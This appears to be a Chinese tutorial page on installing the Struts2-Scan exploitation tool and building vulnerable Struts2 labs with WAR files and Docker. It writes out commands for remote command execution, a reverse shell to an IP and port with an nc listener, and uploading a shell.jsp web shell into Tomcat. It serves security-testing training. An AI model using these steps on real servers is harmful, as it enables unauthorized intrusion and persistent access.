当前位置: 首页 > article >正文

Struts2-Scan与漏洞环境搭建:完整测试环境配置教程

Struts2-Scan与漏洞环境搭建完整测试环境配置教程【免费下载链接】Struts2-ScanStruts2全漏洞扫描利用工具项目地址: https://gitcode.com/gh_mirrors/st/Struts2-ScanStruts2-Scan是一款功能强大的Struts2全漏洞扫描利用工具能够帮助安全测试人员快速检测和验证Struts2框架中的各类高危漏洞。本教程将详细介绍如何搭建完整的Struts2漏洞测试环境以及如何使用Struts2-Scan工具进行漏洞扫描与利用让你轻松掌握Struts2漏洞的测试方法。一、Struts2-Scan工具简介1.1 工具功能特点Struts2-Scan是基于互联网公开的Struts2高危漏洞EXP开发的扫描利用工具具有以下特点全面的漏洞覆盖支持S2-001、S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052、S2-053、S2-devMode、S2-057等多种Struts2漏洞的扫描与利用。丰富的利用功能支持单个URL漏洞检测和批量URL检测可指定漏洞进行利用能够获取WEB路径、执行命令、反弹shell和上传文件等操作不同漏洞支持的功能有所差异。1.2 运行环境要求使用Struts2-Scan工具需要满足以下环境要求Python3.6.X及其以上版本。安装必要的第三方库click、requests、bs4。推荐测试环境Ubuntu 16.04。二、Struts2-Scan工具获取与安装2.1 工具获取通过以下命令克隆Struts2-Scan项目仓库git clone https://gitcode.com/gh_mirrors/st/Struts2-Scan2.2 安装依赖库进入项目目录使用pip命令安装所需的第三方库cd Struts2-Scan pip install click requests bs4三、Struts2漏洞环境搭建3.1 本地WAR包环境部署项目中提供了多个Struts2漏洞环境的WAR包存放在“Struts2环境”目录下包括S2-001.war、S2-003.war、S2-005.war、S2-005_2.war、S2-007.war、S2-008.war、S2-009.war、S2-012.war、S2-013.war、S2-015.war、S2-016.war、S2-019.war、S2-032.war、S2-037.war、S2-045.war等。你可以将这些WAR包部署到Tomcat等Web服务器中搭建本地漏洞测试环境。具体部署步骤如下下载并安装Tomcat服务器建议使用与漏洞环境兼容的版本。将WAR包复制到Tomcat的webapps目录下。启动Tomcat服务器WAR包会自动解压部署。通过访问“http://localhost:8080/漏洞环境名称”即可访问相应的漏洞环境。3.2 Docker环境部署除了本地WAR包部署还可以使用Docker快速搭建Struts2漏洞环境。“Struts2环境/其他环境.txt”文件中提供了部分漏洞环境的Docker部署命令例如S2-029环境docker pull medicean/vulapps:s_struts2_s2-029 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029S2-033环境docker pull medicean/vulapps:s_struts2_s2-033 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033S2-045环境docker pull medicean/vulapps:s_struts2_s2-045 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-045按照上述命令替换相应的漏洞名称即可拉取并运行对应的Docker镜像快速搭建漏洞环境。四、Struts2-Scan工具使用方法4.1 工具参数说明Struts2-Scan工具提供了丰富的命令行参数使用“python3 Struts2Scan.py -h”命令可以查看所有参数说明Usage: Struts2Scan.py [OPTIONS] Struts2批量扫描利用工具 Options: -i, --info 漏洞信息介绍 -v, --version 显示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名称, 漏洞名称详见info -f, --file TEXT 批量扫描URL文件, 一行一个URL -d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: nametestpasswd{exp} -c, --encode TEXT 页面编码, 默认UTF-8编码 -p, --proxy TEXT HTTP代理. 格式为http://ip:port -t, --timeout TEXT HTTP超时时间, 默认10s -w, --workers TEXT 批量扫描进程数, 默认为10个进程 --header TEXT HTTP请求头, 格式为: key1value1key2value2 -e, --exec 进入命令执行shell --webpath 获取WEB路径 -r, --reverse TEXT 反弹shell地址, 格式为ip:port --upfile TEXT 需要上传的文件路径和名称 --uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 关闭打印不存在漏洞的输出只保留存在漏洞的输出 -h, --help Show this message and exit.4.2 常用功能示例4.2.1 查看漏洞详细信息使用“--info”参数可以查看工具支持的所有漏洞详细信息包括影响版本、请求方式、支持功能等python3 Struts2Scan.py --info4.2.2 单个URL漏洞检测使用“-u”参数指定单个URL进行漏洞扫描python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action工具会自动检测该URL是否存在支持的Struts2漏洞并输出检测结果。4.2.3 批量URL漏洞检测使用“-f”参数指定包含多个URL的文件进行批量扫描python3 Struts2Scan.py -f urls.txt其中urls.txt文件中一行一个URL。4.2.4 指定漏洞进行命令执行使用“-n”参数指定漏洞名称结合“--exec”参数可以进入命令执行shellpython3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec在命令执行shell中可以输入系统命令进行执行。4.2.5 获取WEB路径使用“--webpath”参数可以获取目标服务器的WEB路径python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath4.2.6 反弹shell使用“--reverse”参数指定反弹shell的地址和端口可以获取目标服务器的shellpython3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888需要在本地监听指定的端口如使用“nc -lvvp 8888”命令。4.2.7 上传文件项目中提供了用于上传的shell.jsp文件使用“--upfile”和“--uppath”参数可以将文件上传到目标服务器python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp五、总结通过本教程的学习你已经了解了Struts2-Scan工具的功能特点、获取安装方法以及如何搭建Struts2漏洞测试环境和使用工具进行漏洞扫描与利用。Struts2-Scan工具为Struts2漏洞的测试提供了便捷高效的解决方案帮助安全测试人员更好地发现和验证漏洞。在实际使用过程中请遵守相关法律法规仅在授权的环境中进行测试。【免费下载链接】Struts2-ScanStruts2全漏洞扫描利用工具项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关文章:

Struts2-Scan与漏洞环境搭建:完整测试环境配置教程

Struts2-Scan与漏洞环境搭建:完整测试环境配置教程 【免费下载链接】Struts2-Scan Struts2全漏洞扫描利用工具 项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan Struts2-Scan是一款功能强大的Struts2全漏洞扫描利用工具,能够帮助安全测…...

视觉驱动智能测试架构重构:企业自动化测试效率提升85%的技术实践

视觉驱动智能测试架构重构:企业自动化测试效率提升85%的技术实践 【免费下载链接】midscene AI-powered, vision-driven UI automation for every platform. 项目地址: https://gitcode.com/GitHub_Trending/mid/midscene Midscene.js作为新一代AI驱动的跨平…...

如何高效使用Semi-Utils:完整批量水印处理方案

如何高效使用Semi-Utils:完整批量水印处理方案 【免费下载链接】semi-utils 一个批量添加相机机型和拍摄参数的工具,后续「可能」添加其他功能。 项目地址: https://gitcode.com/gh_mirrors/se/semi-utils Semi-Utils是一款专业的批量图片处理工具…...

AI渗透测试工具:从“脚本跑腿“到“Agent大脑“的范式革命

本文能帮你解决什么? 1. 搞懂FastAPI异步(async/await)到底在什么场景下能真正提升性能。 2. 掌握在FastAPI中正确使用多线程处理CPU密集型任务的方法。 3. 避开常见的坑(比如阻塞操作、数据库连接池耗尽、GIL限制)。 …...

基于安卓的母婴用品租赁与回收平台毕设源码

博主介绍:✌ 专注于Java,python,✌关注✌私信我✌具体的问题,我会尽力帮助你。一、研究目的本研究旨在设计并实现一个基于安卓平台的母婴用品租赁与回收系统以解决当前母婴用品市场中存在的资源浪费与供需失衡问题。随着我国二孩政策实施及生育观念转变母…...

5分钟快速上手:ONNX+AWS Lambda打造超轻量AI推理服务终极指南

5分钟快速上手:ONNXAWS Lambda打造超轻量AI推理服务终极指南 【免费下载链接】onnx Open standard for machine learning interoperability 项目地址: https://gitcode.com/gh_mirrors/onn/onnx ONNX作为机器学习互操作性的开放标准,让AI模型能够…...

用 PHP 实现一个简单的“背包算法”,解决优惠券最优组合问题。

它的本质是:在有限的“预算约束”(背包容量)下,从一组“优惠券”(物品)中选择子集,使得“减免金额”(价值)最大化。这是一个经典的 0/1 背包问题 (0/1 Knapsack Problem)…...

【AI Infra 核心】从零剖析大模型服务框架:如何榨干 GPU 算力实现极致推理吞吐?

🚀【AI Infra 核心】从零剖析大模型服务框架:如何榨干 GPU 算力实现极致推理吞吐?摘要:上一篇我们通过 PagedAttention 解决了大模型推理时的“显存爆炸”危机。但在实际的生产环境中,光有显存是不够的。老板花重金买的…...

pyglet入门指南:从零开始构建跨平台游戏应用的完整教程

pyglet入门指南:从零开始构建跨平台游戏应用的完整教程 【免费下载链接】pyglet pyglet is a cross-platform windowing and multimedia library for Python, for developing games and other visually rich applications. 项目地址: https://gitcode.com/gh_mirr…...

ComfyUI-to-Python-Extension 安装教程:如何正确配置开发模式选项

ComfyUI-to-Python-Extension 安装教程:如何正确配置开发模式选项 【免费下载链接】ComfyUI-to-Python-Extension A powerful tool that translates ComfyUI workflows into executable Python code. 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-to-Pyt…...

Dinghy架构解析:深入理解docker-machine包装器的设计哲学

Dinghy架构解析:深入理解docker-machine包装器的设计哲学 【免费下载链接】dinghy faster, friendlier Docker on OS X 项目地址: https://gitcode.com/gh_mirrors/di/dinghy Dinghy作为一款为macOS用户打造的Docker工具,通过巧妙包装docker-mach…...

告别卡顿闪退!3步构建TV应用的模块化测试防护网

告别卡顿闪退!3步构建TV应用的模块化测试防护网 【免费下载链接】my-tv 我的电视 电视直播软件,安装即可使用 项目地址: https://gitcode.com/GitHub_Trending/my/my-tv TV应用的流畅体验是用户最基本的需求,但卡顿和闪退问题却常常影…...

jQuery Masked Input项目架构分析:从Grunt构建到模块化设计

jQuery Masked Input项目架构分析:从Grunt构建到模块化设计 【免费下载链接】jquery.maskedinput jQuery Masked Input Plugin 项目地址: https://gitcode.com/gh_mirrors/jq/jquery.maskedinput jQuery Masked Input Plugin是一款轻量级的表单输入格式化工具…...

3DTilesRendererJS插件系统完全指南:扩展你的3D渲染能力

3DTilesRendererJS插件系统完全指南:扩展你的3D渲染能力 【免费下载链接】3DTilesRendererJS Renderer for 3D Tiles in Javascript using three.js, Babylon.js, and r3f 项目地址: https://gitcode.com/gh_mirrors/3d/3DTilesRendererJS 3DTilesRendererJS…...

你的LaTeX参考文献引用对了吗?详解\cite, \citet, \citep的区别与选用场景

LaTeX参考文献引用权威指南:从基础语法到期刊规范实战 第一次用LaTeX写论文时,我被参考文献引用折磨得差点放弃学术生涯。导师批注的"引用格式不统一"像魔咒一样出现在每一页——有时是"(作者, 年份)",有时变成"作者…...

基因编辑分析:CRISPR实验的数据处理流程

基因编辑技术正以前所未有的速度改变生命科学研究,其中CRISPR-Cas9系统因其高效性和精准性成为核心工具。实验成功的关键不仅在于操作技术,更依赖于对海量数据的科学处理。本文将系统解析CRISPR实验的数据处理流程,帮助研究者从原始数据中挖掘…...

D2L.ai音乐生成:AI作曲与音乐风格转换的终极指南

D2L.ai音乐生成:AI作曲与音乐风格转换的终极指南 【免费下载链接】d2l-en Interactive deep learning book with multi-framework code, math, and discussions. Adopted at 500 universities from 70 countries including Stanford, MIT, Harvard, and Cambridge. …...

GLM-4-9B-Chat-1M企业落地:构建私有法律知识引擎,支持类案推送与裁判规则提炼

GLM-4-9B-Chat-1M企业落地:构建私有法律知识引擎,支持类案推送与裁判规则提炼 想象一下,你是一家律师事务所的合伙人,手头有一个复杂的商业合同纠纷案件。为了准备诉讼策略,你需要查阅过去十年内所有相关的判例、法律…...

【稀缺实测数据集+可运行代码】:R语言实现LLM输出偏见量化评估(含chi2_residual_bias、KL-divergence_error等6种统计检验报错修复方案)

更多请点击: https://intelliparadigm.com 第一章:R语言在大语言模型偏见检测中的统计方法报错解决方法 在使用R语言对LLM输出进行偏见量化分析(如性别/种族倾向性卡方检验、嵌入空间KL散度计算)时,常见报错多源于数据…...

2026小程序店铺装修模板怎么选?小程序店铺装修教程是什么?

在想要搭建小程序的时候,我们往往会问2026小程序店铺装修模板怎么选?小程序店铺装修教程是什么?的确,这是许多人心中的疑问。老规矩,先看一组数据。《2026年2月北京本地商家数字化发展报告》显示,2026年以来…...

终极WinCDEmu虚拟光驱使用指南:免费开源的光盘镜像管理神器

终极WinCDEmu虚拟光驱使用指南:免费开源的光盘镜像管理神器 【免费下载链接】WinCDEmu 项目地址: https://gitcode.com/gh_mirrors/wi/WinCDEmu WinCDEmu是一款功能强大的开源虚拟光驱软件,它能够让你在Windows系统中轻松挂载ISO、IMG、CUE/BIN、…...

从人耳听感到App音量调节:Android/iOS开发者必须懂的声压、分贝与振幅换算实战

移动端音频开发实战:从分贝调节到防Clipping的完整指南 当你滑动手机上的音量滑块时,是否思考过这简单的UI操作背后隐藏着怎样的声学原理?在开发音乐播放器、语音通话或游戏音效时,我们经常需要将用户直观的"音量减小6dB&quo…...

第50篇:AI项目开发全流程复盘——从构思、实现到部署的完整指南(踩坑总结)

文章目录问题现象排查过程:拆解AI项目核心阶段根本原因与解决方案阶段一:需求构思与问题定义 —— 从“技术炫技”到“解决问题”阶段二:数据获取与处理 —— 模型的天花板在此决定阶段三:模型实验与开发 —— 在理想与现实间平衡…...

Scroll Reverser深度解析:macOS设备专属滚动方向终极指南

Scroll Reverser深度解析:macOS设备专属滚动方向终极指南 【免费下载链接】Scroll-Reverser Per-device scrolling prefs on macOS. 项目地址: https://gitcode.com/gh_mirrors/sc/Scroll-Reverser 在macOS生态系统中,一个长期存在的用户体验痛点…...

AutoSizeText终极指南:如何在Flutter中实现完美文本自适应

AutoSizeText终极指南:如何在Flutter中实现完美文本自适应 【免费下载链接】auto_size_text Flutter widget that automatically resizes text to fit perfectly within its bounds. 项目地址: https://gitcode.com/gh_mirrors/au/auto_size_text 在Flutter应…...

UE5实战:用FArchive手搓一个简易存档系统(附完整源码)

UE5实战:用FArchive构建高兼容性游戏存档系统 在开发一款RPG游戏时,最让玩家抓狂的莫过于辛辛苦苦打了三小时的Boss战,结果游戏崩溃后进度全失。上周我的团队就收到了这样一条玩家反馈:"你们的游戏很棒,但这个存档…...

当测试自动化率达到%,测试工程师还剩下什么?

一、核心问题及解决方案(按踩坑频率排序) 问题 1:误删他人持有锁——最基础也最易犯的漏洞 成因:释放锁时未做身份校验,直接执行 DEL 命令删除键。典型场景:服务 A 持有锁后,业务逻辑耗时超过锁…...

2026届必备的六大AI科研方案推荐榜单

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 计算机智能技术于毕业论文撰写当中的运用,正渐渐演变成学术范围里的关键辅助手段…...

GoCaptcha 革命性行为验证码:4种交互方式一站式解决网站安全难题

GoCaptcha 革命性行为验证码:4种交互方式一站式解决网站安全难题 【免费下载链接】go-captcha 🖖 GoCaptcha: A high-performance, interactive behavior captcha library for Go. Supporting click, slide, drag-drop, and rotation modes to secure yo…...

2025最权威的五大AI科研网站实际效果

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 在学术写作这个范畴之内,人工智能工具已然深入地融入到了论文创作的整个流程当中…...